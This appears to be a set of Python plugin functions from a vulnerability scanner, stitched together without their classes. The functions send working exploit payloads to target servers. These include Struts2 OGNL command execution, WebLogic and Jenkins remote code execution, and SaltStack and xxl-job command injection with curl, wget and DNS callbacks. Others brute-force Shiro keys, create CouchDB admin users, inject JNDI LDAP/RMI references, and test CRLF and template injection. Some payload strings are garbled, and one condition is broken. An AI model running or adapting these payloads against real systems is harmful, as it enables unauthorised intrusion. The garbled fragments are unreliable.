def poc1(self, data): cmd, hexdata = data payload = '''?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27{}%27);%22);''' req = { "method": "POST", "url": self.url + '''console/images/%252E%252E%252Fconsole.portal''', "data": payload.format(parse.quote(cmd)), "headers": { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169" }, "allow_redirects": False, "timeout": 10, "verify": False, } r = request(**req) if not self.poc1_success: res, _ = query_reverse(hexdata) if res: parser = response_parser( r) if r is not None else dictdata_parser(self.dictdata) if not self.poc1_success: self.poc1_success = True self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0] if r is None else r.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "first way to find :{} in reverse".format(hexdata), "payload": payload, "request": parser.getrequestraw(), "response": parser.getresponseraw() } })
def verify(self): # 添加限定条件 self.result_ = {} if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return self.parser = dictdata_parser(self.dictdata) find_it = False payloads = self.generatepayloads() for os_ver in ["win", "linux"]: for payload in payloads[os_ver]: req = { "url": self.url + "wls-wsat/CoordinatorPortType", "method": "POST", "headers": { "Content-Type": "text/xml;charset=UTF-8", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" }, "verify": False, "data": self.get_windows_payload(payload) if "win" == os_ver else self.get_linux_payload(payload), "timeout": 10, } r = request(**req) if r != None and r.status_code == 500 and b"<?xml version=" in r.content: find_it = True ##check hexdatas = list(set(payloads["hexdata"])) res, res_data = query_reverse(hexdatas[0]) if res: self.save(2, "find {} in reverse log ".format(hexdatas[0])) return for hexdata in hexdatas[1:]: # 后面的不睡眠等待 res, res_data = query_reverse(hexdata, False) if res: self.save(2, "find {} in reverse log".format(hexdata)) return if find_it: self.save(0, "maybe vuln due to the response")
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return # thanks payloads :https://github.com/w-digital-scanner/w13scan/blob/master/W13SCAN/plugins/PerFile/crlf.py payloads = [ "\r\nTestInject: myscan", "\r\n\tTestInject: myscan", "\r\n TestInject: myscan", "\r\tTestInject: myscan", "\nTestInject: myscan", "\rTestInject: myscan", # twitter crlf "嘊嘍TestInject: myscan", # nodejs crlf "čĊTestInject: myscan", ] parser = dictdata_parser(self.dictdata) params_url = parser.getrequestparams_urlorcookie("url") if params_url: for k, v in params_url.items(): for payload in payloads: params_url_withpayload = copy.deepcopy(params_url) params_url_withpayload[k] = payload req = parser.generaterequest( {"params": params_url_withpayload}) r = request(**req) if r != None: parser_ = response_parser(r) resp_headers = str(r.headers) res = re.search("TestInject': 'myscan'", resp_headers) if res: self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?") [0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } })
def runit(self, key): if self.success: return payload = self.generator_payload(key) req = { "headers": { "Cookie": "rememberMe={}".format(payload), }, "timeout": 10, "allow_redirects": False, "verify": False, } req_ = self.parse.generaterequest(req) r = request(**req_) if r is not None and "deleteMe" not in r.headers.get('Set-Cookie', ''): self.can_output(self.maxkey, True) self.save(r, key)
def send_payload(self, data): payload, param = data random_str = get_random_str(5).lower() + payload.get("vul", "") data_with_payload = "" if payload.get("type") == "ldap": ldapaddr, ldaphexdata = generate(self.parse.getrootpath() + random_str, "ldap") data_with_payload = payload.get("payload") % {"ldap": ldapaddr} self.saveflags[ldaphexdata] = (data_with_payload, payload.get("vul", "")) elif payload.get("type") == "rmi": rmiaddr, rmihexdata = generate(self.parse.getrootpath() + random_str, "rmi") data_with_payload = payload.get("payload") % {"rmi": rmiaddr} self.saveflags[rmihexdata] = (data_with_payload, payload.get("vul", "")) if param is None: req = self.parse.generaterequest({"data": data_with_payload}) else: req = self.parse.getreqfromparam(param, "w", data_with_payload) r = request(**req)
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return # 配置不当 parser = dictdata_parser(self.dictdata) req_headers = self.dictdata.get("request").get("headers") req_headers_withpayload = copy.deepcopy(req_headers) params_url = parser.getrequestparams_urlorcookie("url") if params_url and "callback" in params_url.keys(): findit = False for k, v in req_headers_withpayload.items(): if k.lower() == "referer": p = urlparse.urlparse(v) port = "" if ":" in p.netloc: netloc_, port = p.netloc.split(":", 1) else: netloc_ = p.netloc if netloc_.count(".") < 2: newnetloc = netloc_ + ".com.cn" else: newnetloc = netloc_ + "." + get_random_str(3).lower() + ".".join(netloc_.split(".")[-2:]) v = v.replace(p.netloc, newnetloc + port, 1) req_headers_withpayload[k] = v findit = True break if not findit: req_headers_withpayload["Referer"] = "https://www.baidusectest.com/index.php" req = parser.generaterequest({"headers": req_headers_withpayload}) r = request(**req) if r != None: similar_rate = similar(r.content, parser.getresponsebody()) if similar_rate > 0.9: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "resp_similar": similar_rate, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "POST", "url": self.url + "RPC2", "headers": { "Accept-Encoding": "gzip", "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169" }, "allow_redirects": False, "timeout": 10, "verify": False, } logfile = '''<?xml version='1.0'?> <methodCall> <methodName>supervisor.supervisord.options.logfile.strip</methodName> <params> </params> </methodCall>''' req['data'] = logfile r = request(**req) if r != None and r.status_code == 200: res = re.search(b"<value><string>(.*?)</string></value>", r.content) if res: logfile_path = res.group(1).decode() parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "logpath": logfile_path, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): addExt = [ '.php', '.php3', '.php4', '.php5', '.php7', '.phtml', '.asp', '.aspx', '.ascx', '.asmx', '.chm', '.cfc', '.cfmx', '.cfml', '.py', '.rb', '.pl', '.cgi', '.htm', '.html', ] if self.dictdata.get("url").get( "extension").lower() in notAcceptedExt + addExt: return self.parse = dictdata_parser(self.dictdata) self.maxkey = self.parse.getrootpath() + self.name if not self.can_output(self.maxkey): return req = { "headers": { "Cookie": "rememberMe=1", }, "timeout": 10, "allow_redirects": False, "verify": False, } req_ = self.parse.generaterequest(req) r = request(**req_) if r != None and "deleteMe" in r.headers.get("Set-Cookie", ""): mythread(self.runit, self.shirokyes) if not self.success: self.save(r, "found shiro ,you can enum the key", 0)
def verify(self): # 限定一下目录深度,涉及反连,谨慎点 if self.url.count("/") != 3: return # 验证是否是xxl-job req = { "method": "POST", "url": self.url + "run", "headers": { "Content-Type": "application/json" }, "allow_redirects": False, "verify": False, "timeout": 10 } r = request(**req) if r is not None and b"com.xxl.job.core.server" in r.content: reverse_urls, hexdata_url = generate_reverse_payloads(self.name) reverse_dnscmd, hexdata_dns = generate_reverse_payloads( self.name, "dns") # reverse_urls_ = filter(lambda x: x.startswith("curl") or x.startswith("wget"), reverse_urls) tasks = reverse_dnscmd + reverse_urls mythread(self.run, tasks) sleep = True for hexdata in [hexdata_url, hexdata_dns]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: parser_ = dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def verify(self): if self.dictdata.get("url").get("extension").lower() in notAcceptedExt: return parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") num1 = get_random_num(4) num2 = get_random_num(4) num1_num2 = num1 + num2 num1num2 = num1 * num2 num1_md5 = getmd5(num1) payloads = ( {"cmd": "\nexpr {} + {}\n".format(num1, num2), "show": num1_num2, "method": "a"}, {"cmd": "|expr {} + {}".format(num1, num2), "show": num1_num2, "method": "a"}, {"cmd": "$(expr {} + {})".format(num1, num2), "show": num1_num2, "method": "a"}, {"cmd": "&set /A {}+{}".format(num1, num2), "show": num1_num2, "method": "a"}, {"cmd": "${@var_dump(md5(%s))};" % num1, "show": num1_md5, "method": "w"}, {"cmd": "{}*{}" % num1, "show": num1num2, "method": "w"}, {"cmd": "'-var_dump(md5(%s))-'" % num1, "show": num1_md5, "method": "w"}, {"cmd": "/*1*/{{%s+%s}}" % (num1, num2), "show": num1_num2, "method": "w"}, {"cmd": "${%s+%s}" % (num1, num2), "show": num1_num2, "method": "w"}, {"cmd": "${(%s+%s)?c}" % (num1, num2), "show": num1_num2, "method": "w"}, {"cmd": "#set($c=%s+%s)${c}$c" % (num1, num2), "show": num1_num2, "method": "w"}, {"cmd": "<%- {}+{} %>".format(num1, num2), "show": num1_num2, "method": "w"}, ) if params: for param in params: for payload in payloads: req = parser.getreqfromparam(param, text=payload.get("cmd"), method=payload.get("method")) r = request(**req) if r != None and str(payload.get("show")) in r.text: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "param": param.get("name"), "payload": payload, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def run(self, data): cmd, path = data endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript' payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % binascii.b2a_hex( cmd.encode()).decode() params = { 'sandbox': True, 'value': payload } req = { "method": "GET", "url": self.url + path + endpoint, "params": params, "allow_redirects": False, "verify": False, "timeout": 10 } r = request(**req)
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return #sangfor require https if self.dictdata.get("url").get("protocol", "") == "http": return self.parser = dictdata_parser(self.dictdata) can_check = False payloads = self.generatepayloads() for os_ver in ["win", "linux"]: for payload in payloads[os_ver]: req = { "url": self.url + "por/checkurl.csp?retry=1&timeout=4&url=www.baidu.com;{}". format(payload), "method": "GET", "headers": { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" }, "verify": False, "timeout": 10, } r = request(**req) if r is not None and r.status_code == 200 and r.content == b"1": can_check = True ##check if can_check: hexdatas = list(set(payloads["hexdata"])) res, res_data = query_reverse(hexdatas[0]) if res: self.save(2, "find {} in reverse log ".format(hexdatas[0])) return for hexdata in hexdatas[1:]: # 后面的不睡眠等待 res, res_data = query_reverse(hexdata, False) if res: self.save(2, "find {} in reverse log".format(hexdata)) return self.save(0, "根据特征,应该存在漏洞,但是由于不出网等原因,所以无反向请求")
def check(self, path): req = { "method": "GET", "url": self.url + path, "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) # words = [ # "method", # "spring", # "TYPE", # "system", # "database", # "cron", # "reloadByURL", # "JMXConfigurator", # "JMImplementation", # "EnvironmentManager", # ] words_header = [ "X-Application-Context", "application/json", "application/vnd.spring-boot.actuator", "hprof", ] # if r is not None and r.status_code == 200 and any( # [x.encode() in r.content for x in words] and [x in str(r.headers) for x in words_header]): if r is not None and r.status_code == 200 and any([ x in str(r.headers) for x in words_header ]) and similar(r.content, self.error_page) < self.max_similar: if self.check_second(path, r.content): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url + path, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return headers=copy.deepcopy(self.dictdata.get("request").get("headers")) ran_a = random.randint(10000000, 20000000) ran_b = random.randint(1000000, 2000000) ran_check = ran_a - ran_b lin = 'expr' + ' ' + str(ran_a) + ' - ' + str(ran_b) checks = [str(ran_check), '无法初始化设备 PRN', '??????? PRN', '<Struts2-vuln-Check>', 'Unable to initialize device PRN'] boundary_046 = "---------------------------735323031399963166993862150" payloads = [ r"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='print test').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#scan=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#scan.getInputStream(),#ros)).(#ros.flush())}", r"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + lin + r"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#scan=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#scan.getInputStream(),#ros)).(#ros.flush())}", r"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println('<'+'Struts2-vuln-'+'Check>')).(#o.close())}", r"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#[email protected]@getRequest()).(#path=#req.getRealPath('Struts2-vuln-')).(#o.print(#path)).(#o.print('Check>')).(#o.close())}" ] headers['Content-Type'] = 'multipart/form-data; boundary=' + boundary_046 + '' for payload in payloads: data_046 = '--' + boundary_046 + "\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"" + payload + "\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--" + boundary_046 + "--" req={ "url":self.url, "method":"POST", "headers":headers, "data":data_046 } r = request(**req) if r != None: for check in checks: if check.encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } }) return
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return payload = '''{ "type" : "read", "mbean" : "java.lang:type=Memory", "target" : { "url" : "service:jmx:rmi:///jndi/%s" } }''' req = { "method": "POST", "url": self.url + "jolokia/", "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "data": "", "timeout": 10, "allow_redirects": False, "verify": False, } data = self.generate() for payload_ in data["payload"]: req["data"] = payload % (payload_) r = request(**req) sleep = True parser_ = dictdata_parser(self.dictdata) for hexdata_ in list(set(data["hexdata"])): res, res_data = query_reverse(hexdata_, sleep=sleep) sleep = False if res: self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def check(self, path): req = { "method": "GET", "url": self.url + path, "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r is not None and b"DB_NAME" in r.content and b"WPENGINE_ACCOUNT" and r.content: self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "url": req["url"], } })
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return if self.dictdata.get("url").get("extension").lower() not in ["do","action"]: return ran_a = random.randint(10000000, 20000000) ran_b = random.randint(1000000, 2000000) ran_check = ran_a - ran_b random_str=get_random_str(6) checks = [str(ran_check),random_str] payloads = [ r"method%3a%23_memberAccess%[email protected]+@DEFAULT_MEMBER_ACCESS%2c%23kxlzx%[email protected]@getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28" + str( ran_a) + '-' + str(ran_b) + "%29%2c%23kxlzx.close", r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=echo%20"+random_str+r"&pp=\\A&ppp=%20&encoding=UTF-8", ] for payload in payloads: for method in ["GET","POST"]: headers = { "Accept": "application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*", "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", "Content-Type": "application/x-www-form-urlencoded", } req={ "url":self.url+"?"+payload if method=="GET" else self.url, "method":method, "headers":headers, "data":payload if method=="POST" else "", "verify":False, "timeout":10, } r=request(**req) if r!=None : for check in checks: if check==random_str : if re.search(("[^(echo)][^ (%20)]{}|^\s*{}\s*$".format(random_str,random_str)).encode(),r.content): self.save(r) return else: if check.encode() in r.content: self.save(r) return
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return if self.dictdata.get("url").get("extension").lower() not in ["do","action"]: return check = b'<Struts2-vuln-Check>' payloads = [ r"redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22<Struts2-vuln-%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().print(%23b),%23matt.getWriter().print('Check>'),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D", r"redirect%3a%24%7b%23resp%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2c%23resp.getWriter%28%29.print%28%27<Struts2-vuln%27%2b%27-Check>%27%29%2c%23resp.getWriter%28%29.flush%28%29%2c%23resp.getWriter%28%29.close%28%29%7d", ] for payload in payloads: for method in ["GET","POST"]: headers = { "Accept": "application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*", "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", "Content-Type": "application/x-www-form-urlencoded", } req={ "url":self.url+"?"+payload if method=="GET" else self.url, "method":method, "headers":headers, "data":payload if method=="POST" else "", "verify":False, "timeout":10, } r=request(**req) if r!=None : if check in r.content: parser_=response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request":parser_.getrequestraw(), "response":parser_.getresponseraw(), } }) return
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return # 验证是否是saltstack req = { "method": "GET", "url": self.url, "allow_redirects": False, "verify": False, "timeout": 10 } r = request(**req) if r is not None and b"local_async" in r.content and b"local_batch" in r.content: reverse_urls, hexdata_url = generate_reverse_payloads(self.name) reverse_dnscmd, hexdata_dns = generate_reverse_payloads( self.name, "dns") # reverse_urls_ = filter(lambda x: x.startswith("curl") or x.startswith("wget"), reverse_urls) tasks = reverse_dnscmd + reverse_urls mythread(self.run, tasks) sleep = True for hexdata in [hexdata_url, hexdata_dns]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: parser_ = dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return check = b'<Struts2-vuln-Check>' payloads = [ r"%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println('<'+'Struts2-vuln-'+'Check>')).(#o.close())}", r"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#[email protected]@getRequest()).(#path=#req.getRealPath('Struts2-vuln-'+'Check>')).(#o.println(#path)).(#o.close())}", r'''%{(#f**k='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse().getWriter()).(#outstr.println(#req.getRealPath("Struts2-vuln-"+"Check>"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#scan.getInputStream(),#ros)).(#ros.flush())}''' ] for payload in payloads: for method in ["GET", "POST"]: req = { "url": self.url, "method": method, "headers": { "Content-Type": payload, "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" }, "verify": False, "timeout": 10, } r = request(**req) if r != None: if check in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } }) return
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return random_str = get_random_str(32).lower() req = { "method": "PUT", "url": self.url + "_users/org.couchdb.user:{}".format(random_str), "headers": { "Content-Type": "application/json", }, "data": ''' { "type": "user", "name": "%s", "roles": ["_admin"], "roles": [], "password": "******" }''' % (random_str), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r != None and r.status_code == 201 and ( "org.couchdb.user:"******"name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def generate(self, req): r = request(**req) if r != None: keys = ["jackson", "fastjson", "autotype"] for key in keys: if key.encode() in r.content.lower(): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) self.can_output(self.parse.getrootpath() + self.name, True) self.success = True return
def run(self, cmd): req = { "method": "POST", "url": self.url + "run", "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "data": "token=12312&client=ssh&tgt=*&fun=a&roster=aaa&ssh_priv=aaa|{}%3b". format(parse.quote(cmd)), "allow_redirects": False, "verify": False, "timeout": 10 } r = request(**req)
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return ran1 = get_random_num(3) ran2 = get_random_num(3) total = ran1 * ran2 req = { "method": "GET", "url": self.url + "oauth/authorize?response_type=${%s*%s}&client_id=acme&scope=openid&redirect_uri=http://test" % (ran1, ran2), "headers": { "Authorization": "Basic YWRtaW46YWRtaW4=", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169" }, "allow_redirects": False, "timeout": 10, "verify": False, } r = request(**req) if r != None and str(total).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "{} in response".format(total), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "version.web", "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) vuln_versions = [ '3.10.4.72058', '3.12.4.76544', '3.8.2.67295', '7.0.2.81005', '7.2.7.86974', '7.4.3.89785', '7.6.4.94391' ] vuln_versions += [ '7.8.2.97826', '8.0.6.105408', '8.2.2.107285', '8.4.3.111614', '8.6.3.116175', '8.8.1.118913', '9.0.3.124620' ] vuln_versions += [ '9.2.0.127940', '9.4.3.137684', '9.6.7.145949', '9.8.4.149166', '19.03.3.152166', '19.06.4.157118' ] vuln_versions += ['19.09.4.0', '19.12.2.0', '20.03.2.0', '20.06.3.0'] if r != None and r.status_code == 200 and "text/plain" in r.headers.get( "Content-Type") and r.content[:20].decode().strip( ) in vuln_versions: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return if self.dictdata.get("url").get("extension").lower() not in ["do","action",""]: return check = b'<Struts2-vuln-Check>' payloads = [ r"debug=browser&object=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().print(%23context%5B%23parameters.reqobj%5B0%5D%5D.getRealPath(%23parameters.pp%5B0%5D)))(#context[#parameters.rpsobj[0]].getWriter().print('Check>')):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&pp=<Struts2-vuln-&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest", r"debug=browser&object=%28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%2c%23res%[email protected]@getResponse%28%29%2c%23w%3d%23res.getWriter%28%29%2c%23w.print%28%27<Struts2-vuln%27%2b%27-Check>%27%29%29", r"debug=browser&object=(%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),%23w.print('Check>'))&pp=Struts2-vuln-" ] headers=copy.deepcopy(self.dictdata.get("request").get("headers")) headers['Content-Type'] = 'application/x-www-form-urlencoded' for payload in payloads: for method in ["GET","POST"]: req={ "url":self.url+"?"+payload if method=="GET" else self.url, "method":method, "headers":headers, "data":payload if method=="POST" else "", "verify":False, "timeout":10, } r=request(**req) if r!=None : if check in r.content: parser_=response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request":parser_.getrequestraw(), "response":parser_.getresponseraw(), } }) return
